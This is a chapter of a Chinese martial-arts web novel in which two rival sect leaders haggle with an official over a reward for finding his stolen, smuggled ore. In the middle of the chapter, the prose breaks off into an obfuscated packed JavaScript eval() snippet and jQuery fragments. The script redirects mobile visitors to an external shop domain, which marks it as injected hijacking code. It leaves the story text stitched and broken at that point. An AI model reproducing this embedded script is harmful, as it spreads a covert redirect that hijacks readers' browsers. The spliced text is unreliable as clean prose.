夜幕垂帘，星光熠熠。
云少微白净无暇的侧脸陷入柔软的枕头之中，整个身体蜷缩在被子下，明明正值入夏，他却仿佛有些犯冷，无意识间将被子裹得很紧。
外头不知何时抛出一颗石子，将窗户抵着的木头打偏。
呼——
一阵风袭过，掩盖掉了小石子砸在窗户上的声响，将窗户吹开。
在月光洒落在云少微脸颊上的那一瞬，熟睡的人睁开眼睛，里头一片清明。
咚、咚咚、咚……
又是几颗细小的石子砸到窗边，发出一阵声响。
云少微掀开被子翻身下床，刚一到窗边就间夜风呼啸间，迎面飞来一东西！
那东西直直朝着云少微袭去，最后被两指细长的手指夹住——是一封信。
于是半个时辰之后，云宥居老板云少微化身为云雀家主戴着面具去了百里外的一间酒楼。
只是一进去，却看见一个似乎不该在此的人。
云少微歪了下头，上下扫视了下不远处坐在桌边酌着小酒的某人。
“你怎么在这？”
“你怎么在这？”
两人一同发出了疑问。
空气沉静了一下，方宥主动开口发问：“那人也给你传了信，叫你来这？”
云少微一听心下了然，随即走进去坐在了方宥斜对面。
“嗯。”
方宥这一听瞬间不爽了：“叫了你来，还叫我做什么？”
云少微为自己倒了杯茶醒神，没有说话。
“哎，跟你说话呢。”
云少微眼皮一颤，回了神，抬眸看他：“嗯？”
只见对方懒散地托着脸问他：“那偷钥匙的人你查到了没？”
“查没查到都与青羽家主无关吧？当日赢的人是我。”
方宥：“……你扒我裤子赢得也算？而且现在被人偷走了，那谁先找到就归谁呗。”
听他又提这个，云少微不得不放下茶杯，反问回去：“谁扒你裤子？”
方宥冷嗤一声：“谁扒的谁知道。”
“……”
云少微突然觉得这事还是要讲清楚一下，不然每回碰面对方都得强调一遍自己扒过他裤子。
“首先是你先把我扯下来的，我不可能等着摔，所以我下意识抓住能抓的东西，这才不小心扯到了你的腰、带。”
他强调了一下，不是裤子，只是腰带。
不要把他说的很变态。
方宥不依不饶：“那你后面发现是我的裤腰带，你不也没放手吗？”
云少微理所应当道：“抓都抓了，那我当然要先以赢为主。”
这话说得方宥不爱听了，猛地拍一下桌子：“那你有没有想过我要是没反应过来，裤子就被你拽掉了！大庭广众之下，这么多人！”
这下轮到云少微嗤笑一声：“那不正好，大家都能欣赏一下青羽家主的风光了。”
“……”
方宥最近本就心情巨差，闻言当即阴恻恻笑了一声：“行，那请云雀家主之后也要看好自己的裤子，不要轻易地一、泄、风、光。”
“……”
云少微眯了眯眼：“你可以试试，看看我能不能在你扯下我裤子前，先把你的手剁下来。”
两人从来都是一见面说不上几句话就开始夹枪带棒，方宥一点也不怕对方，刚想说些什么时，包间的门又被推开了。
“两位家主久等了！”来人是个长相英气的男子，他把腰侧的刀先行卸下，然后朝着里头的云少微跟方宥抱拳鞠了下躬，才坐下。
方宥刚刚想说的杀伤力很大的话一下忘记了。
“两位家主卢某久仰已久，今日斗胆打扰两位也确实是遇到难事了！”卢尧看上去很上道，第一反应就是给他们两人都倒了茶酒。
方宥扫了他一眼：“卢大人，要紧事是要紧事，可是您这将我们两家都叫过来，这是何意？”
卢尧面露难色道：“青羽家主有所不知，一月前我护送的一批矿石在临水一带被人抢走了！至今还未找到下落，我这边听闻两位家主手段不凡、聪慧过人，这才想着办法联系上两位看能不能帮我找回这批矿石。”
云少微终于喝光了手里的那杯茶，抬眸看了一眼卢尧，直白拆穿道：“卢大人这批矿石是走私的吧。”
卢尧也没想过能瞒着对方，大方承认道：“对，不过也算不上走私，是我去西域时侥幸发现的一处矿源，跟当地官员协商之后，带回来买卖一番。”
云少微不评价他这个行为，只说：“要云雀帮忙找回可以，不过我们得先谈报酬，而且这东西已经丢失一月有余，是否还在东原还是未知，不过不管最后找不找得到，云雀的辛苦费都要给，大人可愿？”
方宥笑眯眯地跟着说：“青羽也是哦，卢大人。”
卢尧咽了咽口水，有些犹豫。
毕竟确实也过了很久，这批矿石也并没有上报给朝廷，他是不可能搬到明面上查的，只能借助江湖势力去找，而现在他对面这两人就是江湖上最旗鼓相当的门派家主了……
“行，只要两位家主愿意帮卢某全力去找，不过找没找到那批矿石，卢某都会献上一万两黄金给你们。”
一万两黄金啊。
方宥不动声色地挑了挑眉。
云少微也挺满意，点了点头继续问：“可以，那我们就继续谈找到了的报酬。”
卢尧：……虽然如此，为什么他感觉他找来的不是门派家主，而是两位土匪啊！一位面不改色，一位笑里藏刀。
“……好，若是两位大人谁先能找到这批矿石，卢某愿意交出半成的矿石出来！”
方宥饶有兴趣地敲了敲桌面问：“冒昧问一下，卢大人这批矿石有多少？”
“一吨有余。”卢尧一说起这个便有些着急起来，“那可都是西域绝迹千年的灵源矿，每一斤都可抵黄金百两！”
这番话倒是给在场两人都说心动了，但是两人也同时保持了沉默。
他们这一沉默倒是让卢尧有些心急难熬了：“两位大人可是不满意？”
这时方宥动了一下，先是小饮了一口酒，叹了口气说。
“卢大人你也知道，现下你这批矿石就会还没来得及出国，但是全国各地皆有可能，我青羽要查，那必然要把这个东国都掀个底朝天的，这期间所费的物力、人力、耽误的时间等等，那可不是一笔小数目，你刚刚说的那一万两黄金其实对我青羽来说也不算什么，不过那基于我没能帮您找回来矿石之下，我也确实不好多要了。”
“可若是青羽找回了那批矿石……半成太少了。”
云少微及时插话：“卢大人是第一次接触江湖门派吧。”
卢尧点点头：“是啊，可是半成已经——”
云少微的手指在空中摇了摇，轻声告诉他：“卢大人，江湖规矩还是要讲的，更何况您是跟我们云雀这种大门派谈。”
卢尧被他说得一愣一愣的，连忙追问：“那，那江湖规矩是多少啊？”
方宥艺高人胆大：“五成。”
卢尧、云少微：……
云少微顿了一下才瞥了对方一眼，桌子之下还不得声色地狠狠踩了对方一脚！
方宥吃痛一下，眉头一跳，面不改色地转了话头：“但话又说回来了，卢大人这批货物不一般，所以这次报酬我们这次可以酌情少些。”
卢尧已经被对方刚刚喊得五成吓得不行了，内心正纠结着要不要跑路，但是对方现在这话又让他犹豫起来。
“啪。”
方宥突然拍了一下桌子，然后站了起来，站起来的同时蓄力将刚刚一脚狠狠踩了回去！
“卢大人！”
卢尧连忙“哎！”了声。
“这矿石本就在本国稀缺，只要你卖的方法好，何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787678|210220||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
愁其中利益？”方宥面上温和着笑着，同时脚下愈发加大力气。
“而且，我们谈的只是矿石找回来的报酬，要是找不回来，你损失的那是全部，可要是找回来了，你只需要付我几成报酬，剩下的其实都算你赚的，不是？”
卢尧觉得有些不对劲，但是又说不上哪里不对劲。
“你说的好像是没错，可是……五成太多了。”
突然眼前的方宥踉跄一步，一旁的云雀家长脸上有些发白地插嘴道：“卢大人情况不同，我们云雀愿意少些。”
“我们——”方宥痛的龇牙咧嘴了一下：“我们青羽也愿意酌情少些，主要是想跟卢大人交个朋友。”
卢尧犹豫了一下，然后举起了一根手指：“那就一……”他咬咬牙，举起两根手指：“卢某最多给出两成出来！再多的卢某实在是给不起了。”
五成到两成，卢尧觉得可能还是少了，但这矿石他也是跟当地官员合作，最后还要分出去五成，他这边还有售卖跟路费运输什么的，再高的他确实也是出不起了……
这么想着，他有些绝望，刚想把手收回来的时候，眼前的两位家主同时拍了下他的手。
“成交。”
“成交。”
卢尧：……？不是江湖规矩五成吗？
还没等他反应过来，两位家主已经站起身来了。
方宥拍着他的左肩：“卢大人放心好了，青羽一定会全力以赴帮你寻找这批货物下落。”
云少微拍着他的右肩：“卢大人放心，云雀也定会找到这批矿石。”
卢尧看着两人离开的背影，心里的不对劲愈发地汹涌起来。
怎么感觉……他好像被这两人套路了？
不会吧……不是说，这两人相见相杀、势如水火呢？
不可能合伙诓他吧？
*
“青羽家主胆子很大啊，张嘴就是五成？”出来之后，云少微开始算账。
方宥微扬眉头，没心没肺道：“我这不想着看他不懂规矩，万一真同意了，我青羽不赚大发了？”
“这么大批走私矿石你也敢拿？”云少微瞥他一眼，语气轻蔑道：“也不怕一口气撑死了。”
这话方宥不爱听了，皱眉看他：“云雀没有的实力，不代表青羽没有，云雀家主不要狗眼看人低啊。”
云少微回刺：“那麻烦青羽家主剑走偏锋的时候，别祸害了云雀，毕竟不是所有人都像你一般，又贱又疯的。”
方宥：……
“不是，那你说是不是因为我这五成拉高了，这才能在他嘴里谈出二成，要不是我，你可能谈出两成吗？云雀家主现在在这得了便宜还卖乖？”
“……”
晨曦微透，清雾湿凉。
两位家主在斗嘴之间分离开来，再从马车绕路间回到了同一处。
云少微彻夜未眠，即便是在客栈喝了口浓茶提神，此刻也不免有些疲倦。
待他回来之时，成遥刚好醒了。
“家主。”此时四周无人，成遥放心大胆地叫云少微：“刚刚是有任务出去了吗？”
云少微神色恹恹地点头：“接了个小活，成叔那边应该已经开始准备了。”
“你看上去精神不太好，是不是这几天太忙了？”
云少微闭上眼，轻摇了几下头：“不是，就是昨晚没有睡好。”
天际翻出了鱼肚白，阳光从酒楼窗口照了进来。
云少微突然说：“寺庙那边怎么样了？”
这是他这几个月来第一次提到寺庙，成遥有些意外，但还是说。
“孩子们在那都挺好的，不过林伯最近问了下，你们最近在做些什么，我估摸着是孩子们想你——”们了。
后面的话他没有说完。
云少微看着射进来的几束阳光，缓慢地眨动了一下眼睛。
“给我准备些点心吧。”